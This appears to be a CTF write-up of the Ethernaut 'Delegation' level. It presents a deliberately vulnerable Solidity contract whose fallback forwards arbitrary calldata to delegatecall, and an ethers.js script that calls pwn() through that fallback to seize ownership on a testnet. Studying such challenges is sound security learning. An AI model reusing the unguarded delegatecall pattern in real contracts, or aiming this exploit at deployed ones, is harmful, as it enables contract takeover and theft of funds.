Cracking the Code: Ethernault (Level 6 - Delegation) CTF Challenge

Cracking the Code: Ethernault (Level 6 - Delegation) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge tests the player's knowledge about delegatecall.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

The goal of this challenge is to make the player the owner of the Delegation contract

delegatecall is a low level function similar to call. When contract A executes delegatecall to contract B, B's code is executed with contract A's storage, msg.sender and msg.value.

Upon reading through the contract, we can see that the fallback method allows us to pass msg.data in the delegatecall. This is where we can exploit the contract because we can pass another contract's data and use it to change the variables in the Delegation contract. In this case, we aim to change the owner of the contract.

Solution

const { ethers } = require("ethers");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
  const delegateeAbi = ["function pwn()"];
  let iface = new ethers.Interface(delegateeAbi);
  const data = iface.encodeFunctionData(`pwn`, []);

  const tx = await signer.sendTransaction({
    from: await signer.getAddress(),
    to: "0xa9cCaDe64573d6F2b8cE42e1e64BDeA266930213",
    data,
    gasLimit: 100000,
  });
})();

The solution script

Firstly, we set up the provider, and signer. The provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to obtain the delegateeABI, which represents the ABI of the contract to which we want to delegate our call. Subsequently, we encode the data, and then send a transaction to the Delegation Contract with this encoded data. The data includes the encoded ABI of the function we intend to call in the Delegation Contract. This action triggers the fallback method, executing the transmitted data, ultimately leading to a change of ownership to the signer or caller.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.